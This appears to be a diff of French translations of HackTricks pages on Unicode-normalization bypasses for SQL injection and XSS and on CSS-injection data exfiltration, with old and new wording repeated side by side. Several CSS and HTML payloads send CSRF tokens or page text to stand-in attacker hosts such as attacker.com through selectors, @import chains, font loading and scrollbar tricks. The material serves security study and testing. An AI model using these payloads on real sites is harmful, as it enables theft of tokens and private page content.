Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Cette page, comme mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
Imaginez une page web qui utilise le caractère `'` pour créer des requêtes SQL avec l'entrée de l'utilisateur. Cette page web, en tant que mesure de sécurité, **supprime** toutes les occurrences du caractère **`'`** de l'entrée de l'utilisateur, mais **après cette suppression** et **avant la création** de la requête, elle **normalise** en utilisant **Unicode** l'entrée de l'utilisateur.
Alors, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une vulnérabilité **SQLInjection** apparaît :
Ensuite, un utilisateur malveillant pourrait insérer un caractère Unicode différent équivalent à `' (0x27)` comme `%ef%bc%87`, lorsque l'entrée est normalisée, une apostrophe est créée et une **vulnérabilité d'injection SQL** apparaît :
![](<../../.gitbook/assets/image (157) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (157) (1).png>)
**Quelques caractères Unicode intéressants**
@ -86,40 +91,36 @@ Alors, un utilisateur malveillant pourrait insérer un caractère Unicode diffé
### XSS (Cross Site Scripting)
Vous pourriez utiliser l'un des caractères suivants pour tromper l'application web et exploiter un XSS :
Vous pourriez utiliser l'un des caractères suivants pour piéger l'application web et exploiter une XSS :
![](<../../.gitbook/assets/image (312) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (312) (1).png>)
Remarquez que par exemple le premier caractère Unicode proposé peut être envoyé comme : `%e2%89%ae` ou comme `%u226e`
Notez que par exemple le premier caractère Unicode proposé peut être envoyé comme : `%e2%89%ae` ou comme `%u226e`
![](<../../.gitbook/assets/image (215) (1).png>)
![https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/](<../../.gitbook/assets/image (215) (1).png>)
### Fuzzing de Regex
### Fuzzing des Regex
Lorsque le backend **vérifie l'entrée utilisateur avec une regex**, il est possible que l'**entrée** soit **normalisée** pour la **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans une redirection ouverte ou SSRF, la regex pourrait **normaliser l'URL envoyée** mais ensuite **y accéder telle quelle**.
Lorsque le backend **vérifie l'entrée utilisateur avec un regex**, il est possible que l'**entrée** soit **normalisée** pour le **regex** mais **pas** pour l'endroit où elle est **utilisée**. Par exemple, dans une redirection ou SSRF ouverte, le regex pourrait **normaliser l'URL envoyée** mais ensuite **y accéder tel quel**.
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de **générer des variations de l'entrée** pour tester le backend. Pour plus d'informations, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).
L'outil [**recollapse**](https://github.com/0xacb/recollapse) permet de **générer des variations de l'entrée** pour fuzz le backend. Pour plus d'informations, consultez le **github** et ce [**post**](https://0xacb.com/2022/11/21/recollapse/).
## Références
**Toutes les informations de cette page ont été prises de :** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/#**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)
**Autres références :**
# Références
* [**https://labs.spotify.com/2013/06/18/creative-usernames/**](https://labs.spotify.com/2013/06/18/creative-usernames/)
* [**https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work**](https://security.stackexchange.com/questions/48879/why-does-directory-traversal-attack-c0af-work)
* [**https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html**](https://jlajara.gitlab.io/posts/2020/02/19/Bypass\_WAF\_Unicode.html)
<details>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

219
pentesting-web/xs-search/css-injection/README.md
View file

@ -2,15 +2,15 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres moyens de soutenir HackTricks :
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
@ -18,7 +18,7 @@ Autres moyens de soutenir HackTricks :
### Sélecteur d'attribut
La principale technique pour exfiltrer des informations via l'injection CSS consiste à essayer de **faire correspondre un texte avec CSS** et dans le cas où ce **texte existe**, **charger une ressource externe, comme :**
Les sélecteurs CSS sont conçus pour correspondre aux valeurs des attributs `name` et `value` d'un élément `input`. Si la valeur de l'attribut de l'élément d'entrée commence par un caractère spécifique, une ressource externe prédéfinie est chargée :
```css
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
@ -31,24 +31,27 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Cependant, notez que cette technique ne fonctionnera pas si, dans l'exemple, **l'entrée du nom csrf** est de **type caché** (et c'est généralement le cas), car l'arrière-plan ne sera pas chargé.\
Cependant, vous pouvez **contourner** cet obstacle en, au lieu de faire charger un arrière-plan par l'élément caché, **faire en sorte que tout ce qui suit charge l'arrière-plan :**
#### Contournement pour les éléments cachés
Pour contourner cette limitation, vous pouvez cibler un élément frère ultérieur en utilisant le combinateur de frère général `~`. La règle CSS s'applique ensuite à tous les frères suivant l'élément d'entrée caché, ce qui permet de charger l'image d'arrière-plan :
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Exemple de code pour exploiter ceci : [https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e)
Un exemple pratique d'exploitation de cette technique est détaillé dans l'extrait de code fourni. Vous pouvez le consulter [ici](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Prérequis
#### Prérequis pour l'injection CSS
1. L'injection CSS doit permettre des charges utiles suffisamment longues
2. Capacité à **encadrer la page pour déclencher la réévaluation CSS des charges utiles nouvellement générées**
3. Capacité à utiliser des **images hébergées à l'extérieur** (peut être bloqué par CSP)
Pour que la technique d'injection CSS soit efficace, certaines conditions doivent être remplies :
### Sélecteur d'Attribut Aveugle
1. **Longueur de la charge utile** : Le vecteur d'injection CSS doit prendre en charge des charges utiles suffisamment longues pour accueillir les sélecteurs créés.
2. **Réévaluation du CSS** : Vous devez avoir la capacité de cadrer la page, ce qui est nécessaire pour déclencher la réévaluation du CSS avec les charges utiles nouvellement générées.
3. **Ressources externes** : La technique suppose la possibilité d'utiliser des images hébergées à l'extérieur. Cela peut être limité par la politique de sécurité du contenu (CSP) du site.
Comme [**expliqué dans cet article**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier le contenu même à partir d'éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
### Sélecteur d'attribut aveugle
Comme [**expliqué dans cet article**](https://portswigger.net/research/blind-css-exfiltration), il est possible de combiner les sélecteurs **`:has`** et **`:not`** pour identifier le contenu même des éléments aveugles. Cela est très utile lorsque vous n'avez aucune idée de ce qui se trouve à l'intérieur de la page web chargeant l'injection CSS.\
Il est également possible d'utiliser ces sélecteurs pour extraire des informations de plusieurs blocs du même type comme dans :
```html
<style>
@ -59,34 +62,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
En combinant cela avec la technique suivante **@import**, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
En combinant cela avec la technique **@import** suivante, il est possible d'exfiltrer beaucoup d'**informations en utilisant l'injection CSS à partir de pages aveugles avec** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
La technique précédente présente quelques inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable de **mettre en iframe la page vulnérable à l'injection CSS**.
La technique précédente présente certains inconvénients, vérifiez les prérequis. Vous devez soit être capable d'**envoyer plusieurs liens à la victime**, soit être capable d'**encadrer la page vulnérable à l'injection CSS**.
Cependant, il existe une autre technique astucieuse qui utilise **CSS `@import`** pour améliorer la qualité de la technique.
Cela a été d'abord montré par [**Pepe Vila**](https://vwzq.net/slides/2019-s3_css_injection_attacks.pdf) et cela fonctionne comme ceci :
Cela a été d'abord montré par [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) et cela fonctionne comme suit :
Au lieu de charger la même page encore et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons **charger la page juste une fois et seulement avec un import vers le serveur de l'attaquant** (c'est la charge utile à envoyer à la victime) :
Au lieu de charger la même page une fois et encore avec des dizaines de charges utiles différentes à chaque fois (comme dans la technique précédente), nous allons **charger la page une seule fois et juste avec une importation vers le serveur des attaquants** (c'est la charge utile à envoyer à la victime) :
```css
@import url('//attacker.com:5001/start?');
```
1. L'importation va **recevoir du script CSS** de la part des attaquants et le **navigateur va le charger**.
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur de l'attaquant, encore une fois.**
3. Le serveur de l'attaquant ne répondra pas à cette requête pour l'instant, car nous voulons **leak** quelques caractères puis répondre à cet import avec le payload pour **leak** les suivants.
4. La deuxième partie et la plus importante du payload sera un **payload de fuite de sélecteur d'attribut**
5. Cela enverra au serveur de l'attaquant **le premier caractère du secret et le dernier**
6. Une fois que le serveur de l'attaquant a reçu **le premier et le dernier caractère du secret**, il **répondra à l'import demandé à l'étape 2**.
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois, elle essaiera de **trouver le deuxième caractère du secret puis l'avant-dernier**.
1. L'import va **recevoir un script CSS** des attaquants et le **navigateur va le charger**.
2. La première partie du script CSS que l'attaquant enverra est **un autre `@import` vers le serveur des attaquants.**
3. Le serveur des attaquants ne répondra pas encore à cette demande, car nous voulons divulguer certains caractères, puis répondre à cet import avec la charge utile pour divulguer les suivants.
4. La deuxième et plus grande partie de la charge utile va être une **charge utile de fuite de sélecteur d'attribut**.
5. Cela enverra au serveur des attaquants le **premier caractère du secret et le dernier**.
6. Une fois que le serveur des attaquants aura reçu le **premier et le dernier caractère du secret**, il répondra à l'import demandé à l'étape 2.
7. La réponse sera exactement la même que les **étapes 2, 3 et 4**, mais cette fois-ci elle essaiera de **trouver le deuxième caractère du secret et ensuite l'avant-dernier**.
L'attaquant **suivra cette boucle jusqu'à ce qu'il parvienne à leak complètement le secret**.
L'attaquant va **suivre cette boucle jusqu'à ce qu'il parvienne à divulguer complètement le secret**.
Vous pouvez trouver le [**code original de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
Vous pouvez trouver le [**code de Pepe Vila pour exploiter cela ici**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ou vous pouvez trouver presque le [**même code mais commenté ici**.](./#css-injection)
{% hint style="info" %}
Le script essaiera de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme :
Le script va essayer de découvrir 2 caractères à chaque fois (du début et de la fin) car le sélecteur d'attribut permet de faire des choses comme:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -98,26 +101,26 @@ Cela permet au script de divulguer le secret plus rapidement.
{% endhint %}
{% hint style="warning" %}
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment, il se bloquera.\
Pas d'inquiétude, vérifiez simplement la **sortie** car **vous pouvez y voir le drapeau**.
Parfois, le script **ne détecte pas correctement que le préfixe + suffixe découvert est déjà le drapeau complet** et il continuera vers l'avant (dans le préfixe) et vers l'arrière (dans le suffixe) et à un moment donné, il restera bloqué.\
Pas de soucis, il suffit de vérifier la **sortie** car **vous pouvez y voir le drapeau**.
{% endhint %}
### Autres sélecteurs
Autres moyens d'accéder aux parties du DOM avec **les sélecteurs CSS** :
Autres façons d'accéder aux parties du DOM avec les **sélecteurs CSS** :
* **`.class-to-search:nth-child(2)`** : Cela recherchera le deuxième élément avec la classe "class-to-search" dans le DOM.
* **`:empty`** sélecteur : Utilisé par exemple dans [**ce compte-rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)** :**
* **Sélecteur** `:empty` : Utilisé par exemple dans [**ce compte rendu**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_SERVEUR?1"); }
[role^="img"][aria-label="1"]:empty { background-image: url("VOTRE_URL_DU_SERVEUR?1"); }
```
### XS-Search basé sur les erreurs
**Référence :** [Attaque basée sur CSS : Abuser de unicode-range de @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Preuve de concept XS-Search basée sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Référence :** [Attaque basée sur CSS : Abus de la plage unicode de @font-face](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [PoC XS-Search basé sur les erreurs par @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
L'idée principale est d'**utiliser une police personnalisée depuis un point de terminaison que nous contrôlons** dans un **texte qui sera affiché seulement si la ressource ne peut pas être chargée**.
L'intention globale est de **utiliser une police personnalisée à partir d'un point de terminaison contrôlé** et de s'assurer que **le texte (dans ce cas, 'A') est affiché avec cette police uniquement si la ressource spécifiée (`favicon.ico`) ne peut pas être chargée**.
```html
<!DOCTYPE html>
<html>
@ -125,7 +128,7 @@ L'idée principale est d'**utiliser une police personnalisée depuis un point de
<style>
@font-face{
font-family: poc;
src: url(http://ourenpoint.com/?leak);
src: url(http://attacker.com/?leak);
unicode-range:U+0041;
}
@ -141,48 +144,46 @@ font-family: 'poc';
</body>
</html>
```
### Style du fragment de défilement vers le texte
1. **Utilisation de police personnalisée**:
- Une police personnalisée est définie en utilisant la règle `@font-face` à l'intérieur d'une balise `<style>` dans la section `<head>`.
- La police est nommée `poc` et est récupérée à partir d'une adresse externe (`http://attacker.com/?leak`).
- La propriété `unicode-range` est définie sur `U+0041`, ciblant le caractère Unicode spécifique 'A'.
Lorsqu'un **fragment d'URL cible un élément**, la pseudo-classe [**`:target`**](https://drafts.csswg.org/selectors-4/#the-target-pseudo) **peut être utilisée** pour le sélectionner, mais **`::target-text` ne correspond à rien**. Elle ne correspond qu'au texte qui est lui-même ciblé par le \[fragment].
2. **Élément Objet avec Texte de Secours**:
- Un élément `<object>` avec l'`id="poc0"` est créé dans la section `<body>`. Cet élément tente de charger une ressource depuis `http://192.168.0.1/favicon.ico`.
- La `font-family` pour cet élément est définie sur `'poc'`, tel que défini dans la section `<style>`.
- Si la ressource (`favicon.ico`) échoue à se charger, le contenu de secours (la lettre 'A') à l'intérieur de la balise `<object>` est affiché.
- Le contenu de secours ('A') sera rendu en utilisant la police personnalisée `poc` si la ressource externe ne peut pas être chargée.
Par conséquent, un attaquant pourrait utiliser le fragment **Scroll-to-text** et si **quelque chose est trouvé** avec ce texte, nous pouvons **charger une ressource** (via **injection HTML**) depuis le serveur de l'attaquant pour l'indiquer :
### Style du Fragment de Texte de Défilement
Le pseudo-classe **`:target`** est utilisé pour sélectionner un élément ciblé par un **fragment d'URL**, tel que spécifié dans la [spécification CSS Selectors Level 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Il est crucial de comprendre que `::target-text` ne correspond à aucun élément à moins que le texte ne soit explicitement ciblé par le fragment.
Une préoccupation en matière de sécurité survient lorsque les attaquants exploitent la fonctionnalité de fragment **Défilement vers le texte**, leur permettant de confirmer la présence d'un texte spécifique sur une page web en chargeant une ressource depuis leur serveur via une injection HTML. La méthode implique d'injecter une règle CSS comme suit:
```css
:target::before { content : url(target.png) }
```
Un exemple de cette attaque pourrait être :
{% code overflow="wrap" %}
Dans de tels scénarios, si le texte "Administrateur" est présent sur la page, la ressource `target.png` est demandée au serveur, indiquant la présence du texte. Une instance de cette attaque peut être exécutée via une URL spécialement conçue qui intègre le CSS injecté aux côtés d'un fragment de défilement vers le texte :
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
{% endcode %}
Voici, l'attaque manipule l'injection HTML pour transmettre le code CSS, visant le texte spécifique "Administrateur" à travers le fragment Scroll-to-text (`#:~:text=Administrateur`). Si le texte est trouvé, la ressource indiquée est chargée, signalant involontairement sa présence à l'attaquant.
Ce qui abuse d'une **injection HTML envoyant le code** :
Pour atténuer, les points suivants doivent être notés :
{% code overflow="wrap" %}
```css
<style>:target::before { content : url(http://attackers-domain/?confirmed_existence_of_Administrator_username) }</style>
```
{% endcode %}
1. **Correspondance STTF Contrainte** : Le Fragment Scroll-to-text (STTF) est conçu pour correspondre uniquement à des mots ou des phrases, limitant ainsi sa capacité à divulguer des secrets ou jetons arbitraires.
2. **Restriction aux Contextes de Navigation de Niveau Supérieur** : STTF fonctionne uniquement dans les contextes de navigation de niveau supérieur et ne fonctionne pas dans les iframes, rendant toute tentative d'exploitation plus visible pour l'utilisateur.
3. **Nécessité d'une Activation Utilisateur** : STTF nécessite un geste d'activation de l'utilisateur pour fonctionner, ce qui signifie que les exploitations ne sont possibles que par le biais de navigations initiées par l'utilisateur. Cette exigence atténue considérablement le risque d'automatisation des attaques sans interaction utilisateur. Néanmoins, l'auteur de l'article de blog souligne des conditions et des contournements spécifiques (par ex., ingénierie sociale, interaction avec des extensions de navigateur prédominantes) qui pourraient faciliter l'automatisation de l'attaque.
avec le fragment de défilement vers le texte : **`#:~:text=Administrateur`**
Si le mot Administrateur est trouvé, la ressource indiquée sera chargée.
Il existe trois principales atténuations :
1. **STTF ne peut correspondre qu'à des mots ou des phrases sur une page web**, rendant théoriquement impossible la fuite de secrets ou de jetons aléatoires (à moins que nous décomposions le secret en paragraphes d'une lettre).
2. Il est **limité aux contextes de navigation de premier niveau**, donc il ne fonctionnera pas dans un iframe, rendant l'attaque **visible pour la victime**.
3. **Un geste d'activation de l'utilisateur est nécessaire pour que STTF fonctionne**, donc seules les navigations résultant d'actions de l'utilisateur sont exploitables, ce qui diminue grandement la possibilité d'automatiser l'attaque sans interaction de l'utilisateur. Cependant, il existe certaines conditions que l'auteur du billet de blog ci-dessus a découvertes qui facilitent l'automatisation de l'attaque. Un autre cas similaire sera présenté dans PoC#3.
1. Il existe quelques **contournements** pour cela comme **l'ingénierie sociale**, ou **forcer les extensions de navigateur courantes à interagir**.
La connaissance de ces mécanismes et des vulnérabilités potentielles est essentielle pour maintenir la sécurité web et se protéger contre de telles tactiques d'exploitation.
Pour plus d'informations, consultez le rapport original : [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
Vous pouvez vérifier un [**exploit utilisant cette technique pour un CTF ici**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
Vous pouvez consulter un [**exploit utilisant cette technique pour un CTF ici**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront **rassemblées que si ces valeurs unicode sont présentes** sur la page. Par exemple :
Vous pouvez spécifier **des polices externes pour des valeurs unicode spécifiques** qui ne seront collectées que si ces valeurs unicode sont présentes sur la page. Par exemple :
```html
<style>
@font-face{
@ -207,39 +208,50 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm
```
Lorsque vous accédez à cette page, Chrome et Firefox récupèrent "?A" et "?B" car le nœud de texte de sensitive-information contient les caractères "A" et "B". Cependant, Chrome et Firefox ne récupèrent pas "?C" car il ne contient pas "C". Cela signifie que nous avons pu lire "A" et "B".
### Exfiltration de nœud de texte (I): ligatures <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
**Référence:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
Nous pouvons extraire le texte contenu dans un nœud avec une technique qui combine les **ligatures de police** et la **détection de changements de largeur**. L'idée principale derrière cette technique est la création de polices qui contiennent une ligature prédéfinie de **grande taille** et l'utilisation des **changements de taille comme oracle**.
La technique décrite implique d'extraire du texte d'un nœud en exploitant les ligatures de police et en surveillant les changements de largeur. Le processus comprend plusieurs étapes:
Les polices peuvent être créées sous forme de polices SVG puis converties en woff avec fontforge. En SVG, nous pouvons définir la largeur d'un glyphe via l'attribut **horiz-adv-x**, donc nous pouvons construire quelque chose comme `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, **XY étant une séquence de deux caractères**. **Si la séquence existe, elle sera rendue et la taille du texte changera**. Mais… comment pouvons-nous détecter ces changements ?
1. **Création de polices personnalisées**:
- Les polices SVG sont conçues avec des glyphes ayant un attribut `horiz-adv-x`, qui définit une largeur importante pour un glyphe représentant une séquence de deux caractères.
- Exemple de glyphe SVG: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, où "XY" désigne une séquence de deux caractères.
- Ces polices sont ensuite converties au format woff en utilisant fontforge.
Lorsque l'attribut white-space est défini sur **nowrap**, cela force le texte à ne pas se casser lorsqu'il dépasse la largeur du parent. Dans cette situation, une **barre de défilement horizontale apparaîtra**. Et nous pouvons **définir le style de cette barre de défilement**, donc nous pouvons détecter quand cela se produit **:)**
2. **Détection des changements de largeur**:
- Le CSS est utilisé pour s'assurer que le texte ne se coupe pas (`white-space: nowrap`) et pour personnaliser le style de la barre de défilement.
- L'apparition d'une barre de défilement horizontale, stylisée de manière distincte, agit comme un indicateur (oracle) qu'une ligature spécifique, et donc une séquence de caractères spécifique, est présente dans le texte.
- Le CSS impliqué:
```css
body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; }
body::-webkit-scrollbar:horizontal { background: url(http://ourendpoint.com/?leak); }
body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak); }
```
À ce stade, l'attaque est claire :
1. Créer des **polices** pour la combinaison de **deux caractères de grande largeur**
2. Détecter la **fuite via l'astuce de la barre de défilement**
3. En utilisant la première ligature fuitée comme base, créer de **nouvelles combinaisons de 3 caractères** (en ajoutant des caractères avant/après)
4. **Détecter** la **ligature de 3 caractères**.
5. Répéter jusqu'à **fuite du texte entier**
3. **Processus d'exploitation**:
- **Étape 1**: Des polices sont créées pour des paires de caractères avec une largeur importante.
- **Étape 2**: Une astuce basée sur la barre de défilement est utilisée pour détecter quand le glyphe de grande largeur (ligature pour une paire de caractères) est rendu, indiquant la présence de la séquence de caractères.
- **Étape 3**: Après avoir détecté une ligature, de nouveaux glyphes représentant des séquences de trois caractères sont générés, incorporant la paire détectée et ajoutant un caractère précédent ou suivant.
- **Étape 4**: La détection de la ligature de trois caractères est effectuée.
- **Étape 5**: Le processus se répète, révélant progressivement tout le texte.
Nous avons encore besoin d'une méthode améliorée pour commencer l'itération car `<meta refresh=...` est sous-optimal. Vous pourriez utiliser l'**astuce CSS @import pour optimiser l'exploit**.
4. **Optimisation**:
- La méthode d'initialisation actuelle utilisant `<meta refresh=...` n'est pas optimale.
- Une approche plus efficace pourrait impliquer l'astuce `@import` en CSS, améliorant les performances de l'exploit.
### Exfiltration de nœud de texte (II) : fuite du jeu de caractères avec une police par défaut (sans nécessiter d'actifs externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
### Exfiltration de nœud de texte (II): fuite du jeu de caractères avec une police par défaut (ne nécessitant pas de ressources externes) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**Référence :** [PoC utilisant Comic Sans par @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
**Référence:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être fuité **en utilisant les polices par défaut** installées dans le navigateur : aucune police externe ou personnalisée n'est nécessaire.
Cette astuce a été publiée dans ce [**fil de discussion Slackers**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with_single\_css\_injection/). Le jeu de caractères utilisé dans un nœud de texte peut être divulgué **en utilisant les polices par défaut** installées dans le navigateur: aucune police externe -ou personnalisée- n'est nécessaire.
La clé est d'utiliser une animation pour **augmenter la largeur du div de 0 à la fin du texte**, la taille d'un caractère à chaque fois. En faisant cela, nous pouvons « diviser » le texte en deux parties : un « préfixe » (la première ligne) et un « suffixe », de sorte que chaque fois que le div augmente sa largeur, un nouveau caractère passe du « suffixe » au « préfixe ». Quelque chose comme :
Le concept repose sur l'utilisation d'une animation pour étendre progressivement la largeur d'un `div`, permettant à un caractère à la fois de passer de la partie 'suffixe' du texte à la partie 'préfixe'. Ce processus divise efficacement le texte en deux sections:
1. **Préfixe**: La ligne initiale.
2. **Suffixe**: La ou les lignes suivantes.
Les étapes de transition des caractères apparaîtraient comme suit:
**C**\
ADB
@ -252,11 +264,14 @@ B
**CADB**
